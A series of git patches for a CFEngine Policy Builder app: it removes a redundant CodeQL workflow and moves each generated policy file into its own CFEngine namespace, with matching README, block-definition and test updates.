-291,7 +291,7 @@ async function fetchMasterfilesVersions(): Promise { const versions = Object.keys(index.masterfiles ?? {}); return { latest: highestRelease(versions, '3.27') ?? FALLBACK_VERSIONS.latest }; } catch (error) { - console.error(`[project] masterfiles versions unavailable, using built-in ones: ${error}`); + console.warn(`[project] masterfiles versions unavailable, using built-in ones: ${error}`); versionsRequest = null; // retry next time return FALLBACK_VERSIONS; } From 7cab3661d2ce55c6331a1bccecda10dbb0dd8519 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 18:08:34 +0300 Subject: [PATCH 140/141] Removed the CodeQL workflow: the org enforces CodeQL's default setup This reverts commit 8cf2db3. The cfengine organization controls code scanning's default setup, which rejects results from a CodeQL workflow, so every run failed. Default setup keeps scanning TypeScript, Python and the workflows. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- .github/workflows/codeql.yml | 50 ------------------------------------ 1 file changed, 50 deletions(-) delete mode 100644 .github/workflows/codeql.yml diff --git a/.github/workflows/codeql.yml b/.github/workflows/codeql.yml deleted file mode 100644 index 0b1be2f..0000000 --- a/.github/workflows/codeql.yml +++ /dev/null @@ -1,50 +0,0 @@ -name: CodeQL - -# Static analysis of the TypeScript, Python and workflow code with the broader -# security-and-quality queries. Replaces GitHub's CodeQL "default setup", which must be off -# (Settings → Code security), or this workflow's results are rejected. -on: - push: - branches: [main] - pull_request: - schedule: - - cron: '30 5 * * 1' - -permissions: - contents: read - -concurrency: - group: codeql-${{ github.ref }} - cancel-in-progress: true - -jobs: - analyze: - name: Analyze (${{ matrix.language }}) - runs-on: ubuntu-latest - permissions: - actions: read - contents: read - security-events: write - strategy: - fail-fast: false - matrix: - # Interpreted languages: analysed from source, no build step. - language: [javascript-typescript, python, actions] - steps: - - uses: actions/checkout@v7 - - uses: github/codeql-action/init@v4 - with: - languages: ${{ matrix.language }} - build-mode: none - queries: security-and-quality - config: | - paths-ignore: - - node_modules - - out - - release - - python/.venv - - python/build - - python/dist - - uses: github/codeql-action/analyze@v4 - with: - category: /language:${{ matrix.language }} From 5c80d4730648655d867db0860ddb3c90205da15b Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Wed, 7 Oct 2026 10:07:48 +0300 Subject: [PATCH 141/141] Each policy file is its own namespace again In the default namespace, generated bundle names could clash with masterfiles' or any other module's, and no list of those can be complete. A file's namespace holds `bundle common vars`, `bundle agent main` (the cfbs `bundles :main` step) and its group bundles; the module layout still mirrors the file tree. Stdlib bodies and bundles, and bare classes a file doesn't define, are written as `default:` (cf-agent aborts on an unqualified stdlib body in a namespace, though cf-promises accepts it). Projects saved with a `bundle` field open with it as the namespace. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- blocks/README.md | 65 ++-- blocks/call-method.json | 2 +- blocks/define-class.json | 2 +- blocks/define-variable.json | 4 +- blocks/lib/reserved-bundles.json | 324 ------------------ blocks/render-template.json | 2 +- e2e/build-policy.spec.ts | 10 +- e2e/deployment.spec.ts | 6 +- e2e/open.spec.ts | 8 +- python/cfpb_compiler.py | 186 ++++++---- python/tests/fixtures/demo-project.json | 14 +- python/tests/snapshots/call-method.cf | 2 +- python/tests/snapshots/clean-up-old-files.cf | 6 +- python/tests/snapshots/comment-lines.cf | 2 +- python/tests/snapshots/copy-directory.cf | 4 +- python/tests/snapshots/copy-file.cf | 4 +- python/tests/snapshots/create-directory.cf | 2 +- python/tests/snapshots/create-edit-file.cf | 2 +- python/tests/snapshots/create-symlink.cf | 4 +- python/tests/snapshots/cron-job.cf | 4 +- python/tests/snapshots/decorators.cf | 8 +- python/tests/snapshots/define-class.cf | 8 +- python/tests/snapshots/define-variable.cf | 8 +- python/tests/snapshots/ensure-lines.cf | 12 +- python/tests/snapshots/remove-directory.cf | 2 +- python/tests/snapshots/remove-file.cf | 2 +- python/tests/snapshots/remove-lines.cf | 2 +- python/tests/snapshots/render-template.cf | 2 +- python/tests/snapshots/replace-text.cf | 2 +- python/tests/snapshots/report-message.cf | 4 +- python/tests/snapshots/rotate-log.cf | 2 +- python/tests/snapshots/run-command.cf | 10 +- python/tests/snapshots/set-config-values.cf | 8 +- python/tests/snapshots/signal-process.cf | 4 +- python/tests/snapshots/watch-file.cf | 2 +- python/tests/test_cfpb_backend.py | 4 +- python/tests/test_compiler.py | 171 +++++---- python/tests/test_compiler_all_blocks.py | 28 +- python/tests/test_compiler_block_snapshots.py | 2 +- python/tests/test_compiler_block_variants.py | 4 +- src/main/deploy.integration.test.ts | 2 +- src/main/project.integration.test.ts | 6 +- src/main/project.test.ts | 2 +- src/main/test/content.ts | 18 +- src/main/testenv.test.ts | 2 +- src/renderer/src/App.test.tsx | 2 +- .../src/blocks/definitionEntries.test.ts | 7 +- src/renderer/src/blocks/definitionEntries.ts | 11 +- src/renderer/src/components/FlowCanvas.tsx | 21 +- .../src/components/GeneratedPolicyView.tsx | 17 +- .../src/components/PropertiesPanel.test.tsx | 4 +- src/renderer/src/components/TopBar.test.tsx | 2 +- src/renderer/src/components/TopBar.tsx | 10 +- .../components/editor/policyBlocks.test.ts | 6 +- .../src/components/editor/policyBlocks.ts | 4 +- .../properties/FileSettingsPanel.test.tsx | 10 +- .../properties/FileSettingsPanel.tsx | 2 +- .../properties/classOptions.test.ts | 30 +- .../components/properties/classOptions.tsx | 26 +- .../src/components/properties/inputFilters.ts | 4 +- src/renderer/src/demo/nginxDemoProject.ts | 16 +- src/renderer/src/pages/ProjectView.tsx | 4 +- src/renderer/src/pages/pasteCopies.test.ts | 65 +++- src/renderer/src/pages/pasteCopies.ts | 98 +++++- src/renderer/src/pages/useClipboardActions.ts | 36 +- src/renderer/src/project/cfbsProject.test.ts | 28 +- src/renderer/src/project/cfbsProject.ts | 23 +- .../src/project/projectChanges.test.ts | 2 +- .../src/store/filesSlice/deriveBundle.ts | 31 -- .../src/store/filesSlice/deriveNamespace.ts | 24 ++ .../src/store/filesSlice/filesSlice.test.ts | 41 ++- src/renderer/src/store/filesSlice/index.ts | 12 +- src/renderer/src/store/filesSlice/types.ts | 9 +- 73 files changed, 745 insertions(+), 768 deletions(-) delete mode 100644 blocks/lib/reserved-bundles.json delete mode 100644 src/renderer/src/store/filesSlice/deriveBundle.ts create mode 100644 src/renderer/src/store/filesSlice/deriveNamespace.ts diff --git a/blocks/README.md b/blocks/README.md index 912b4a9..1db940a 100644 --- a/blocks/README.md +++ b/blocks/README.md @@ -31,8 +31,8 @@ affects stored instances or compiled output bumps the block's `version` (migrati - **`compile_target`** — `own_bundle`: a sequenced block, compiled to a promise of the file's entry bundle, with outcomes and arrows (the name predates single-bundle files). `file_vars`: its - entries compile into the file's shared `bundle common _vars` (Define Variable, Define - Class) — not sequenced, no arrows. + entries compile into the file's shared `bundle common vars` (Define Variable, Define Class) — + not sequenced, no arrows. - **`steps`** — ordered promises. Every built-in block has one step; the compiler refuses more. - **`value_sources`** — instead of `steps`/`parameters`, for blocks whose promise depends on how the value is produced (Define Variable: literal, command output, file…; Define Class: check, combine, @@ -49,13 +49,15 @@ affects stored instances or compiled output bumps the block's `version` (migrati ## Compiled shape (per policy file) -Policy is in the **default namespace**, like hand-written cfbs projects. Each file has a bundle -name (``, from its name, unique project-wide — see `filesSlice/deriveBundle.ts`), which names -everything it compiles to: +Each file is a **namespace** of its own (``, from its name, unique project-wide — see +`filesSlice/deriveNamespace.ts`), so its names can't clash with another file's, masterfiles' or any +other module's: ```cfengine3 # Generated by CFEngine Policy Builder from "". … -bundle common _vars # every file_vars entry of the file +body file control { namespace => ""; evaluation_order => "top_down"; } + +bundle common vars # every file_vars entry of the file { vars: :: # only with a file condition @@ -64,7 +66,7 @@ bundle common _vars # every file_vars entry of the file "" => ; } -bundle agent # what the cfbs `bundles ` step runs; absent when the file only defines variables and classes +bundle agent main # what the cfbs `bundles :main` step runs; absent when the file only defines variables and classes { # # every ungrouped block, in canvas order vars: # the block's locals, if any, named _ @@ -74,31 +76,34 @@ bundle agent # what the cfbs `bundles ` step :: "" , if => ".", - classes => results("bundle", "_"); # only if an arrow starts here + classes => default:results("bundle", ""); # only if an arrow starts here # Group: # a group, as one step, where it falls in the order methods: :: - "" usebundle => _, + "" usebundle => , if => ".", - classes => results("bundle", "_"); # only if an arrow starts here + classes => default:results("bundle", ""); # only if an arrow starts here } -bundle agent _ # a group's blocks, written like the entry bundle's +bundle agent # a group's blocks, written like the entry bundle's { ... } ``` -Every file starts with `body file control { evaluation_order => "top_down"; }`, so promises run in -the order written — canvas order — rather than by promise type. `python/cfpb_compiler.py` +`evaluation_order => "top_down"` makes promises run in the order written — canvas order — rather than +by promise type. `python/cfpb_compiler.py` implements this; the output is run through `cfengine format`. -- **Names** are readable and project-unique: a block is named after the file's bundle plus its label - slugged (`Render nginx config` → `webserver_render_nginx_config`), `_2`, `_3`… on a clash, avoiding - masterfiles' bundle names ([`lib/reserved-bundles.json`](lib/reserved-bundles.json)). That name - prefixes the block's `results()` classes and names its template file; its local variables drop - the file part (`render_nginx_config_template_data`), since they live in the file's bundle. +- **Names** are readable and unique in the file: a block is named after its label slugged + (`Render nginx config` → `render_nginx_config`), `_2`, `_3`… on a clash, never `main` or `vars`. + That name prefixes the block's `results()` classes and local variables + (`render_nginx_config_template_data`), and, with the namespace, its template file + (`webserver_render_nginx_config.mustache`: `./templates/` is shared). +- **Outside the namespace** everything is qualified: stdlib bodies and bundles are `default:mog`, + `default:results` (`cf-promises` accepts them bare, but `cf-agent` aborts), and a bare class the + file doesn't define is `default:` (hard, augments and masterfiles classes alike). - **Conditions** and arrow gates combine into one class expression on the block's promise; the file condition is a class guard over every promise of the file. - **Groups** run as one step: their blocks go into a bundle of their own (named like a block, from @@ -106,7 +111,7 @@ implements this; the output is run through `cfengine format`. never cross a group's frame — they attach to the group, and one out of it reads the call's rolled-up outcome (not kept if any block failed, else repaired if any repaired, else kept; a group whose blocks all skipped is kept). Define Variable / Define Class blocks in a group still - compile into `_vars`. + compile into `vars`. - **A list parameter** in the promiser (`allow_list`) iterates over a `vars:` slist named after the block and parameter — or, holding just one value, is written in place. - **Templates** are files: every Render Template's template goes into `./templates/`, which ships as @@ -138,19 +143,19 @@ Every promiser and attribute value is an **expression**: |---|---| | `"text {{param}}"` | One quoted CFEngine string. The template's own text is written as-is; substituted values are escaped | | `{"call": "readfile", "args": [...]}` | `readfile(...)` — arguments are expressions too | -| `{"body": "mog", "args": [...]}` | `mog(...)` (the stdlib); with `"lib": "builder"`, `mog_dirs(...)`, the body written into the project from `lib/bodies.json` | +| `{"body": "mog", "args": [...]}` | `default:mog(...)` (the stdlib); with `"lib": "builder"`, `mog_dirs(...)`, the body written into the file (in its namespace) from `lib/bodies.json` | | `{"list": [...]}` | `{ "a", "b" }` | | `{"list_param": "items"}` | `{ "a", "b" }` from a one-value-per-line parameter, blank lines dropped | | `{"class_refs": true}` | The entry's picked classes, `{ "a", "!b" }` (Define Class's combine sources) | | `{"class_expression": "{{condition}}"}` | Quoted when plain (`"linux.!debian"`), as-is when a function call (`not(fileexists("/x"))` — quoting it is a syntax error) | -| `{"bundle": "{{bundle_name}}"}` | A `usebundle` target, as written — also an `edit_line` bundle with `args` (`edit_line => append_if_no_lines("…")`) | +| `{"bundle": "{{bundle_name}}"}` | A `usebundle` target, `default:` unless it names a namespace — also an `edit_line` bundle with `args` (`edit_line => default:append_if_no_lines("…")`) | | `{"choose": "format", "cases": {"space": " ", "equals": "="}}` | The case for an options parameter's value (a separator per file format) | | `{"cases_param": "cases", "otherwise": "{{otherwise}}"}` | A `cases` parameter's rows (JSON `[{className, mode, value}]`, edited as condition → value rows) as `ifelse("debian", "www-data", "!redhat", "nginx", "nobody")`: the first holding condition wins; rows without a condition are skipped | -| `{"array_param": "settings"}` | `key value` / `key=value` lines as a local array, `"_settings[key]" string => "value";`, compiled to its qualified name (`"tier.harden_ssh_settings"`) — what `set_line_based()` takes. Computed from data, the lines are split at run time instead (`data_regextract()` per line, into `_settings__array`) | -| `{"variable": "{{param}}", "as": ...}` | A picked variable, always bundle-qualified (`vars.x` means this file's `_vars.x`): `scalar` → `"$(common_vars.x)"`, `list` → `{ @(common_vars.x) }`, `name` → `"common_vars.x"` | +| `{"array_param": "settings"}` | `key value` / `key=value` lines as a local array, `"_settings[key]" string => "value";`, compiled to its qualified name (`"tier:main.harden_ssh_settings"`) — what `set_line_based()` takes. Computed from data, the lines are split at run time instead (`data_regextract()` per line, into `_settings__array`) | +| `{"variable": "{{param}}", "as": ...}` | A picked variable, always namespace-qualified (`vars.x` means this file's `:vars.x`): `scalar` → `"$(common:vars.x)"`, `list` → `{ @(common:vars.x) }`, `name` → `"common:vars.x"` | | `{"previous": "value"}` | Decorators only: the incoming value (see "Chains") | | `{"if_set": "param", "value": ...}` | The attribute, or nothing when the parameter is empty (`report_to_file => ""` is a hard error) | -| `{"template_file": "param"}` | The parameter's text as its own file, `./templates/.mustache`, used as written (no escaping, no `$(…)` expansion); compiles to its path relative to the policy file, `"$(this.promise_dirname)/templates/…"` (`../` per folder the file is nested in) | +| `{"template_file": "param"}` | The parameter's text as its own file, `./templates/_.mustache`, used as written (no escaping, no `$(…)` expansion); compiles to its path relative to the policy file, `"$(this.promise_dirname)/templates/…"` (`../` per folder the file is nested in) | **Escaping.** CFEngine strings have exactly three escapes, `\\`, `\"` and `\'` (in both kinds of quotes): every other backslash stays literal, so regexes like `\d+` need no special handling, and a @@ -169,14 +174,14 @@ are either plain strings or `{value, label, help}`. An `allow_list` parameter (o in a promiser makes the promise iterate: the compiler emits `vars: "" slist => { … };` and the promiser becomes `"$()"`. -**References.** A variable always names its bundle, even within the same file: every block -compiles to a bundle of its own, so `$(common_vars.x)`, never a bare `$(x)`. Classes defined in a -common bundle are global names. `cf-promises` doesn't catch a `usebundle` of a bundle that doesn't +**References.** Users write `vars.x` / `name` for the same file and `ns:vars.x` / `ns:name` for +another. The compiler always writes variables namespace-qualified: inside a namespace a string +naming one (`isvariable("vars.x")`, `@(vars.x)`) doesn't resolve without it. `cf-promises` doesn't catch a `usebundle` of a bundle that doesn't exist — the agent fails at run time instead — so compiled output should also go through `cfengine lint`. Mustache templates (`render-template`) are written against `datastate()`'s shape, so variables are -`{{{vars._vars.}}}` and classes `{{#classes.}}` (the compiler passes only those +`{{{vars.:vars.}}}` and classes `{{#classes.:}}` (the compiler passes only those as `template_data`, see "Compiled shape"). A template is a file, so there's no `$(…)` expansion in it: only Mustache tags are filled in. @@ -210,8 +215,8 @@ join, … Each decorator's `expression` wraps the incoming value, which appears ## Classes -- Define Class entries live in the file's `bundle common _vars`, so they're global names: - every file uses them as plain `name`, and class names must be unique across the project. +- Define Class entries live in the file's `bundle common vars`, so they're namespace-scoped: the file + uses them as `name`, other files as `:name`. - Every component (cf-promises, cf-serverd, cf-execd…) evaluates common bundles, so an entry that runs a command (`execresult()`, `returnszero()`, Define Variable's too) gets `if => "agent"`: it runs in cf-agent only, and is unset elsewhere. diff --git a/blocks/call-method.json b/blocks/call-method.json index 4666bb8..3fd9da8 100644 --- a/blocks/call-method.json +++ b/blocks/call-method.json @@ -31,7 +31,7 @@ "type": "string", "required": true, "allowed_chars": "a-zA-Z0-9_:", - "help": "A bundle that already exists elsewhere — CFEngine's standard library, a cfbs module, or one you wrote by hand — e.g. \"my_bundle\" (or \"ns:my_bundle\" for one in a namespace). Canvas blocks call each other automatically; this isn't for that. Takes no arguments." + "help": "A bundle that already exists elsewhere — CFEngine's standard library, a cfbs module, or one you wrote by hand — e.g. \"my_bundle\" (looked up in the default namespace) or \"ns:my_bundle\". Canvas blocks call each other automatically; this isn't for that. Takes no arguments." } ] } diff --git a/blocks/define-class.json b/blocks/define-class.json index 4f919d4..6de13d7 100644 --- a/blocks/define-class.json +++ b/blocks/define-class.json @@ -164,7 +164,7 @@ "type": "string", "required": true, "references": "variable", - "help": "E.g. common_vars.myvar: a file's variables live in its _vars bundle." + "help": "E.g. vars.myvar (this file) or common:vars.myvar (another file's, by its namespace)." } ], "steps": [ diff --git a/blocks/define-variable.json b/blocks/define-variable.json index 8cf19ba..a27b75d 100644 --- a/blocks/define-variable.json +++ b/blocks/define-variable.json @@ -153,7 +153,7 @@ "type": "string", "required": true, "references": "variable", - "help": "E.g. common_vars.myvar: a file's variables live in its _vars bundle." + "help": "E.g. vars.myvar (this file) or common:vars.myvar (another file's, by its namespace)." } ], "steps": [ @@ -182,7 +182,7 @@ "type": "string", "required": true, "references": "variable", - "help": "E.g. common_vars.myvar: a file's variables live in its _vars bundle." + "help": "E.g. vars.myvar (this file) or common:vars.myvar (another file's, by its namespace)." } ], "steps": [ diff --git a/blocks/lib/reserved-bundles.json b/blocks/lib/reserved-bundles.json deleted file mode 100644 index 441d0d9..0000000 --- a/blocks/lib/reserved-bundles.json +++ /dev/null @@ -1,324 +0,0 @@ -{ - "$comment": "Bundle names masterfiles (3.24.4 and 3.27.1) already defines in the default namespace. Generated policy is in the default namespace too, so file and block bundles must not reuse these. Regenerate when a new masterfiles release is supported: every `bundle ` in a built out/masterfiles/.", - "bundles": [ - "MPF_class_recommendations", - "__main__", - "aix_services", - "apachectl_patched_for_upgrade", - "append_groups_starting", - "append_if_no_line", - "append_if_no_lines", - "append_to_line_end", - "append_user_field", - "append_users_starting", - "autorun", - "bundles_common", - "cfe_autorun_inventory_LLDP", - "cfe_autorun_inventory_aws", - "cfe_autorun_inventory_aws_ec2_metadata", - "cfe_autorun_inventory_aws_ec2_metadata_cache", - "cfe_autorun_inventory_aws_ec2_metadata_data", - "cfe_autorun_inventory_cpuinfo", - "cfe_autorun_inventory_disk", - "cfe_autorun_inventory_dmidecode", - "cfe_autorun_inventory_fstab", - "cfe_autorun_inventory_ip_addresses", - "cfe_autorun_inventory_listening_ports", - "cfe_autorun_inventory_loadaverage", - "cfe_autorun_inventory_memory", - "cfe_autorun_inventory_mtab", - "cfe_autorun_inventory_packages", - "cfe_autorun_inventory_policy_servers", - "cfe_autorun_inventory_proc", - "cfe_autorun_inventory_proc_cpuinfo", - "cfe_autorun_inventory_setuid", - "cfe_autorun_inventory_timezone", - "cfe_aws_ec2_metadata_from_cache", - "cfe_enterprise_selfsigned_cert", - "cfe_hub_specific_file_control", - "cfe_internal_build_software_report", - "cfe_internal_cleanup_agent_reports", - "cfe_internal_clear_last_seen_hosts_logs", - "cfe_internal_common", - "cfe_internal_core_main", - "cfe_internal_core_watchdog", - "cfe_internal_core_watchdog_aix", - "cfe_internal_core_watchdog_cron_d", - "cfe_internal_core_watchdog_windows", - "cfe_internal_database_cleanup_cf_hub_status", - "cfe_internal_database_cleanup_diagnostics", - "cfe_internal_database_cleanup_promise_log", - "cfe_internal_database_cleanup_reports", - "cfe_internal_database_partitioning", - "cfe_internal_dc_workflow", - "cfe_internal_enable", - "cfe_internal_enterprise_HA_classes", - "cfe_internal_enterprise_main", - "cfe_internal_enterprise_maintenance", - "cfe_internal_enterprise_mission_portal", - "cfe_internal_enterprise_mission_portal_apache", - "cfe_internal_enterprise_policy_analyzer", - "cfe_internal_exported_report_location", - "cfe_internal_hub_common", - "cfe_internal_hub_maintain", - "cfe_internal_hub_vars", - "cfe_internal_inputs", - "cfe_internal_limit_robot_agents", - "cfe_internal_limit_robot_agents_reap", - "cfe_internal_limit_robot_agents_spawn", - "cfe_internal_log_rotation", - "cfe_internal_management", - "cfe_internal_management_file_control", - "cfe_internal_masterfiles_stage", - "cfe_internal_permissions", - "cfe_internal_php_runalerts", - "cfe_internal_postgresql_maintenance", - "cfe_internal_postgresql_vacuum", - "cfe_internal_process_knowledge", - "cfe_internal_processes", - "cfe_internal_purge_scheduled_reports_older_than_days", - "cfe_internal_refresh_events_table", - "cfe_internal_refresh_hosts_view", - "cfe_internal_refresh_inventory_view", - "cfe_internal_setup_knowledge", - "cfe_internal_setup_python_symlink", - "cfe_internal_systemd_service_unit_state", - "cfe_internal_systemd_unit_files", - "cfe_internal_truncate_events", - "cfe_internal_update_bins", - "cfe_internal_update_cmdb", - "cfe_internal_update_cmdb_data_consumption", - "cfe_internal_update_cmdb_data_distribution", - "cfe_internal_update_folders", - "cfe_internal_update_from_repository", - "cfe_internal_update_from_repository_file_control", - "cfe_internal_update_health_failures", - "cfe_internal_update_policy", - "cfe_internal_update_policy_cpv", - "cfe_internal_update_processes", - "cfe_internal_webserver", - "cfengine_controls", - "cfengine_enterprise_hub_ha", - "cfengine_internal_standalone_self_upgrade", - "cfengine_internal_standalone_self_upgrade_execution", - "cfengine_internal_standalone_self_upgrade_state_data", - "cfengine_master_software_content", - "cfengine_package_names", - "cfengine_software", - "cfengine_software_cached_locally", - "cfengine_software_version", - "cfengine_software_version_packages1", - "cfengine_software_version_packages2", - "cfengine_stdlib", - "cfengine_update_controls", - "change_api_server_url_port", - "change_cli_rest_server_url_port", - "change_management", - "change_mp_server_url_port", - "classic_services", - "clean_when_off", - "cmerge", - "collect_vars", - "comment_lines_containing", - "comment_lines_matching", - "common_knowledge", - "config", - "contains_literal_string", - "converge", - "converge_prepend", - "create_solaris_admin_file", - "cronjob", - "daemonize", - "darwin_knowledge", - "data_transport", - "debian_knowledge", - "def", - "def_standalone_self_upgrade", - "delete_lines_matching", - "dir_sync", - "disable_cfengine_agents", - "distributed_cleanup_dependencies", - "distributed_cleanup_run", - "distributed_cleanup_setup", - "enable_cfengine_agents", - "ensure_feeders", - "entry", - "event_debug_handler", - "event_handle", - "event_install_handler", - "event_register", - "event_usage_example", - "expand_template", - "exported_data", - "feature", - "feature_test", - "federated_reporting_superhub_recommendations", - "federation_manage_files", - "file_copy", - "file_empty", - "file_hardlink", - "file_link", - "file_make", - "file_make_mog", - "file_make_mustache", - "file_make_mustache_with_perms", - "file_mustache", - "file_mustache_jsonstring", - "file_tidy", - "fileinfo", - "files_common", - "fstab_option_editor", - "git", - "git_add", - "git_checkout", - "git_checkout_new_branch", - "git_clean", - "git_commit", - "git_init", - "git_stash", - "git_stash_and_clean", - "ha_agent_sync", - "ha_def", - "ha_hub_sync", - "ha_hub_sync_config_data", - "ha_hubs_have_am_policy_hub_marker", - "ha_main", - "ha_manage_mp_status_file", - "ha_manage_notification_scripts_dir", - "ha_share_hub_keys", - "ha_update", - "hello_world_autorun", - "host_info_report", - "host_info_report_cfengine", - "host_info_report_inventory", - "host_info_report_render_txt", - "host_info_report_software", - "ignore_interfaces_rx_reccomendations", - "imported_data", - "insert_before_if_no_line", - "insert_file", - "insert_ini_section", - "insert_lines", - "inventory", - "inventory_aix", - "inventory_aix_oslevel", - "inventory_any", - "inventory_autorun", - "inventory_cfengine_enterprise_license_utilization", - "inventory_control", - "inventory_debian", - "inventory_freebsd", - "inventory_generic", - "inventory_linux", - "inventory_lsb", - "inventory_macos", - "inventory_os", - "inventory_redhat", - "inventory_suse", - "inventory_windows", - "lines_present", - "log_cfengine_enterprise_license_utilization", - "logrotate", - "main", - "maintain_cfe_hub_process", - "maintain_cfe_systemd", - "maintain_cfe_windows", - "maintain_key_values", - "manage_hub_synced_data", - "manage_variable_values_ini", - "measure_entropy_available", - "measure_psql", - "mission_portal_apache_from_stage", - "modules_presence", - "mpf_augments_control", - "mpf_auto_am_policy_hub_state", - "mpf_default_access_rules", - "mpf_main", - "nfs_mount_recommendations", - "npm_knowledge", - "package_absent", - "package_latest", - "package_module_knowledge", - "package_present", - "package_specific", - "package_specific_absent", - "package_specific_latest", - "package_specific_present", - "packages_common", - "paths", - "pip_knowledge", - "postgres_config", - "postgresql_conf_recommendations", - "prepend_if_no_line", - "probabilistic_usebundle", - "process_kill", - "prunedir", - "prunetree", - "redhat_knowledge", - "redhat_no_locking_knowledge", - "regex_replace", - "replace_line_end", - "replace_or_add", - "replace_uncommented_substrings", - "report_access_rules", - "resolvconf", - "resolvconf_o", - "rm_rf", - "rm_rf_depth", - "rpm_knowledge", - "run_ifdefined", - "semanage_installed", - "service_config", - "services_autorun", - "services_common", - "set_colon_field", - "set_config_values", - "set_config_values_matching", - "set_escaped_user_field", - "set_line_based", - "set_quoted_values", - "set_user_field", - "set_variable_values", - "set_variable_values_ini", - "setup_status", - "solaris_knowledge", - "ssh_keygen", - "ssh_selinux_context", - "standalone_self_upgrade_file_control", - "standard_services", - "stdlib_common", - "superhub_schema", - "suse_knowledge", - "sync_master_hub_dat", - "systemd_services", - "testing_generic_report", - "testing_junit_report", - "testing_ok", - "testing_ok_if", - "testing_skip", - "testing_tap_bailout", - "testing_tap_report", - "testing_todo", - "testing_usage_example", - "transport_user", - "u_admin_file", - "u_backup_script", - "u_cfengine_enterprise", - "u_common_knowledge", - "u_install_script", - "u_systemd_services", - "uncomment_lines_containing", - "uncomment_lines_matching", - "update_cli_rest_server_url_config", - "update_def", - "url_ping", - "validate_config_and_restart_service", - "vcs_common", - "warn_lines_matching", - "windows_unattended_upgrade", - "xml_insert_tree", - "xml_insert_tree_nopath", - "xml_set_attribute", - "xml_set_value" - ] -} diff --git a/blocks/render-template.json b/blocks/render-template.json index 0061d0f..d66eb29 100644 --- a/blocks/render-template.json +++ b/blocks/render-template.json @@ -44,7 +44,7 @@ "type": "text", "required": true, "mustache": true, - "help": "Mustache: {{{vars._vars.}}} inserts a variable (triple braces: not HTML-escaped), {{#classes.}}…{{/classes.}} keeps a section only while the class is set. It's saved as its own .mustache file next to the policy, used as written: $(name) isn't expanded there, use {{{vars.…}}}." + "help": "Mustache: {{{vars.:vars.}}} inserts a variable (triple braces: not HTML-escaped), {{#classes.:}}…{{/classes.:}} keeps a section only while the class is set. It's saved as its own .mustache file next to the policy, used as written: $(name) isn't expanded there, use {{{vars.…}}}." }, { "name": "mode", diff --git a/e2e/build-policy.spec.ts b/e2e/build-policy.spec.ts index abf04c5..1a1ab62 100644 --- a/e2e/build-policy.spec.ts +++ b/e2e/build-policy.spec.ts @@ -124,7 +124,7 @@ test('drag a block in, edit it, save and reopen', async ({ window, scratchDir, c await expect(window.getByLabel('Service name')).toHaveValue('sshd'); }); - // The policy file is named after the file's bundle. + // The policy file is named after the file's namespace. expect(readFileSync(join(scratchDir, 'projects/build-e2e/build_e2e.cf'), 'utf-8')).toContain('"sshd"'); expect(consoleErrors, 'console errors during the run').toEqual([]); }); @@ -165,8 +165,8 @@ test('conditions, arrows and undo/redo', async ({ window, consoleErrors }) => { const after = await chip.innerText(); const policy = await generatedPolicy(window); - expect(policy).toContain('classes => results("bundle", "flow_e2e_start_web")'); - expect(policy).toContain('if => "linux.(flow_e2e_start_web_kept|flow_e2e_start_web_not_kept)"'); + expect(policy).toContain('classes => default:results("bundle", "start_web")'); + expect(policy).toContain('if => "default:linux.(start_web_kept|start_web_not_kept)"'); await showCanvas(window); await test.step('undo takes back the outcome, then the arrow; redo re-applies both', async () => { @@ -251,8 +251,8 @@ test('groups: group two blocks and name the group', async ({ window, consoleErro await window.getByLabel('Group name').fill('Web stack'); const policy = await generatedPolicy(window); - expect(policy).toContain('usebundle => groups_e2e_web_stack'); - expect(policy).toContain('bundle agent groups_e2e_web_stack'); + expect(policy).toContain('usebundle => web_stack'); + expect(policy).toContain('bundle agent web_stack'); expect(consoleErrors, 'console errors during the run').toEqual([]); }); diff --git a/e2e/deployment.spec.ts b/e2e/deployment.spec.ts index 112d927..76456da 100644 --- a/e2e/deployment.spec.ts +++ b/e2e/deployment.spec.ts @@ -43,7 +43,7 @@ function writeProject(scratchDir: string, folder: string, withGit: boolean): str description: 'Local policy file added using cfbs command line', tags: ['local'], added_by: 'cfbs add', - steps: ['copy ./web.cf services/cfbs/web.cf', 'policy_files services/cfbs/web.cf', 'bundles web'] + steps: ['copy ./web.cf services/cfbs/web.cf', 'policy_files services/cfbs/web.cf', 'bundles web:main'] } ] }; @@ -54,7 +54,7 @@ function writeProject(scratchDir: string, folder: string, withGit: boolean): str { id: 'file-1', name: 'Web', - bundle: 'web', + namespace: 'web', path: './web.cf', blocks: [], edges: [], @@ -66,7 +66,7 @@ function writeProject(scratchDir: string, folder: string, withGit: boolean): str }; writeFileSync(join(path, 'cfbs.json'), JSON.stringify(cfbs, null, 2)); writeFileSync(join(path, '.policy-builder/project.json'), JSON.stringify(builder, null, 2)); - writeFileSync(join(path, 'web.cf'), 'bundle agent web\n{\n reports:\n "hello";\n}\n'); + writeFileSync(join(path, 'web.cf'), 'body file control\n{\n namespace => "web";\n}\n\nbundle agent main\n{\n reports:\n "hello";\n}\n'); writeFileSync(join(path, '.gitignore'), 'out/\n'); if (withGit) { git(path, 'init', '--quiet'); diff --git a/e2e/open.spec.ts b/e2e/open.spec.ts index b52f894..f233f8b 100644 --- a/e2e/open.spec.ts +++ b/e2e/open.spec.ts @@ -39,7 +39,7 @@ const builderProject = { description: 'Local policy file added using cfbs command line', tags: ['local'], added_by: 'cfbs add', - steps: ['copy ./web.cf services/cfbs/web.cf', 'policy_files services/cfbs/web.cf', 'bundles web'] + steps: ['copy ./web.cf services/cfbs/web.cf', 'policy_files services/cfbs/web.cf', 'bundles web:main'] } ] }; @@ -52,7 +52,7 @@ const builderData = { { id: 'file-1', name: 'Web', - bundle: 'web', + namespace: 'web', path: './web.cf', blocks: [block('block-1', 'Say hello'), block('block-2', 'Say goodbye')], edges: [{ id: 'edge-1', source: 'block-1', target: 'block-2', outcomes: ['kept'] }], @@ -97,7 +97,7 @@ test('opens a builder project with its blocks and arrows, clean, and saves it ba expect(builderJson(path).files[0].blocks).toHaveLength(3); expect(builderJson(path).files[0].edges).toHaveLength(1); const policy = readFileSync(join(path, 'web.cf'), 'utf-8'); - expect(policy).toContain('bundle agent web\n'); + expect(policy).toContain('bundle agent main\n'); expect(policy).toContain(' # Say goodbye\n'); }); @@ -172,7 +172,7 @@ test('Project Settings converts a policy set to a module and back', async ({ app // A module's cfbs.json 